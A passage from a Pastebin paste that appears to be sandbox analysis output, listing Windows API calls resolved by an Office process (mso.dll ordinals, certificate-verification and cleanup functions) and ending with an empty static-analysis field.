  2594. "mso.dll.#1439",
  2595. "mso.dll.#9566",
  2596. "mso.dll.#111",
  2597. "mso.dll.#4191",
  2598. "mso.dll.#3802",
  2599. "mso.dll.#6982",
  2600. "mso.dll.#8800",
  2601. "mso.dll.#3572",
  2602. "mso.dll.#167",
  2603. "kernel32.dll.FlsAlloc",
  2604. "kernel32.dll.FlsGetValue",
  2605. "kernel32.dll.FlsSetValue",
  2606. "kernel32.dll.FlsFree",
  2607. "ieawsdc.dll.HrExtractTemplateToPath",
  2608. "advapi32.dll.CryptCreateHash",
  2609. "cryptsp.dll.CryptCreateHash",
  2610. "advapi32.dll.CryptSetHashParam",
  2611. "advapi32.dll.CryptHashData",
  2612. "cryptsp.dll.CryptHashData",
  2613. "advapi32.dll.CryptGetHashParam",
  2614. "cryptsp.dll.CryptGetHashParam",
  2615. "advapi32.dll.CryptDestroyHash",
  2616. "cryptsp.dll.CryptDestroyHash",
  2617. "mso.dll.#5737",
  2618. "mso.dll.#590",
  2619. "mso.dll.#3758",
  2620. "msgr3en.dll.CheckVersion",
  2621. "msgr3en.dll.#29",
  2622. "msgr3en.dll.#30",
  2623. "msgr3en.dll.#31",
  2624. "msgr3en.dll.#32",
  2625. "msgr3en.dll.#33",
  2626. "msgr3en.dll.#34",
  2627. "msgr3en.dll.#35",
  2628. "msgr3en.dll.#45",
  2629. "msgr3en.dll.#46",
  2630. "msgr3en.dll.#47",
  2631. "msgr3en.dll.#48",
  2632. "msgr3en.dll.#51",
  2633. "msgr3en.dll.#50",
  2634. "msgr3en.dll.#49",
  2635. "msgr3en.dll.#43",
  2636. "msgr3en.dll.#41",
  2637. "msgr3en.dll.#42",
  2638. "msgr3en.dll.#44",
  2639. "msgr3en.dll.#39",
  2640. "msgr3en.dll.#40",
  2641. "msgr3en.dll.#36",
  2642. "msgr3en.dll.#38",
  2643. "msgr3en.dll.#37",
  2644. "msgr3en.dll.#56",
  2645. "msgr3en.dll.#52",
  2646. "msgr3en.dll.#53",
  2647. "msgr3en.dll.#57",
  2648. "msgr3en.dll.#58",
  2649. "msgr3en.dll.#59",
  2650. "user32.dll.LoadStringA",
  2651. "mso.dll.#2561",
  2652. "advapi32.dll.RegDeleteValueW",
  2653. "crypt32.dll.CryptQueryObject",
  2654. "msi.dll.#90",
  2655. "wintrust.dll.CryptSIPPutSignedDataMsg",
  2656. "wintrust.dll.CryptSIPGetSignedDataMsg",
  2657. "cryptsp.dll.CryptGetDefaultProviderW",
  2658. "cryptsp.dll.CryptAcquireContextW",
  2659. "crypt32.dll.CertEnumCertificatesInStore",
  2660. "crypt32.dll.CryptVerifyCertificateSignatureEx",
  2661. "cryptsp.dll.CryptReleaseContext",
  2662. "wintrust.dll.WinVerifyTrust",
  2663. "wintrust.dll.WintrustCertificateTrust",
  2664. "wintrust.dll.SoftpubAuthenticode",
  2665. "wintrust.dll.SoftpubInitialize",
  2666. "wintrust.dll.SoftpubLoadMessage",
  2667. "wintrust.dll.SoftpubLoadSignature",
  2668. "wintrust.dll.SoftpubCheckCert",
  2669. "wintrust.dll.SoftpubCleanup",
  2670. "wintrust.dll.CryptSIPVerifyIndirectData",
  2671. "ws2_32.dll.#116",
  2672. "mso.dll.#1414",
  2673. "mso.dll.#8202",
  2674. "mso.dll.#7189",
  2675. "mso.dll.#2738",
  2676. "mso.dll.#8691",
  2677. "mso.dll.#6079",
  2678. "mso.dll.#7167",
  2679. "mso.dll.#7163",
  2680. "mso.dll.#333",
  2681. "mso.dll.#1785",
  2682. "mso.dll.#5919",
  2683. "user32.dll.DestroyWindow",
  2684. "user32.dll.RemovePropW",
  2685. "mso.dll.#5973",
  2686. "mso.dll.#2014",
  2687. "gdiplus.dll.GdipDeleteBrush",
  2688. "mso.dll.#9668",
  2689. "mso.dll.#8472",
  2690. "advapi32.dll.SaferiSearchMatchingHashRules",
  2691. "mso.dll.#2294",
  2692. "mso.dll.#2968",
  2693. "mso.dll.#2281",
  2694. "mso.dll.#2628",
  2695. "mso.dll.#1401",
  2696. "mso.dll.#3425",
  2697. "mso.dll.#5291",
  2698. "mso.dll.#1718",
  2699. "mso.dll.#4777",
  2700. "wintrust.dll.WTHelperProvDataFromStateData",
  2701. "wintrust.dll.WTHelperGetProvSignerFromChain",
  2702. "crypt32.dll.CertVerifyCertificateChainPolicy",
  2703. "crypt32.dll.CertCloseStore",
  2704. "mso.dll.#1914",
  2705. "advapi32.dll.RegDeleteKeyW",
  2706. "mso.dll.#235",
  2707. "mso.dll.#4416",
  2708. "mso.dll.#9398",
  2709. "mso.dll.#1442",
  2710. "mso.dll.#4388",
  2711. "mso.dll.#8022",
  2712. "mso.dll.#8757",
  2713. "mso.dll.#237",
  2714. "mso.dll.#4214",
  2715. "mso.dll.#884",
  2716. "mso.dll.#121",
  2717. "mso.dll.#1712",
  2718. "mso.dll.#9344",
  2719. "mso.dll.#4203",
  2720. "mso.dll.#3974",
  2721. "mso.dll.#4882",
  2722. "mso.dll.#2449",
  2723. "mso.dll.#2767",
  2724. "mso.dll.#9199",
  2725. "mso.dll.#7948",
  2726. "mso.dll.#3209",
  2727. "mso.dll.#4083",
  2728. "mso.dll.#292",
  2729. "mso.dll.#795",
  2730. "mso.dll.#8796",
  2731. "mso.dll.#3930",
  2732. "mso.dll.#9105",
  2733. "mso.dll.#2427",
  2734. "mso.dll.#8116",
  2735. "mso.dll.#6156",
  2736. "user32.dll.KillTimer",
  2737. "uxtheme.dll.CloseThemeData",
  2738. "user32.dll.UnregisterClassW",
  2739. "usp10.dll.ScriptFreeCache",
  2740. "user32.dll.UnhookWindowsHookEx",
  2741. "mso.dll.#7002",
  2742. "mso.dll.#186",
  2743. "user32.dll.PostQuitMessage",
  2744. "mso.dll.#591",
  2745. "mso.dll.#2272",
  2746. "mso.dll.#4284",
  2747. "cabinet.dll.#23",
  2748. "msptls.dll.?LsDestroyContext@Ptls6@@YGJPAUlscontext@1@@Z",
  2749. "mso.dll.#8473",
  2750. "mso.dll.#8106",
  2751. "mso.dll.#8876",
  2752. "mso.dll.#4210",
  2753. "mso.dll.#8586",
  2754. "mso.dll.#8004",
  2755. "mso.dll.#6078",
  2756. "mso.dll.#815",
  2757. "mso.dll.#187",
  2758. "mso.dll.#5625",
  2759. "mso.dll.#8316",
  2760. "user32.dll.RemoveClipboardFormatListener",
  2761. "user32.dll.UnregisterPowerSettingNotification",
  2762. "powrprof.dll.PowerSettingUnregisterNotification",
  2763. "advapi32.dll.CryptReleaseContext",
  2764. "shell32.dll.#155",
  2765. "advapi32.dll.EventUnregister",
  2766. "user32.dll.UnregisterClassA",
  2767. "gdiplus.dll.GdiplusShutdown",
  2768. "wtsapi32.dll.WTSUnRegisterSessionNotification",
  2769. "winsta.dll.WinStationUnRegisterConsoleNotification",
  2770. "mso.dll.#2482",
  2771. "mso.dll.#5458",
  2772. "advapi32.dll.UnregisterTraceGuids",
  2773. "comctl32.dll.#321"
  2774. ]
  2775.  
  2776. [*] Static Analysis: {}
Advertisement
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!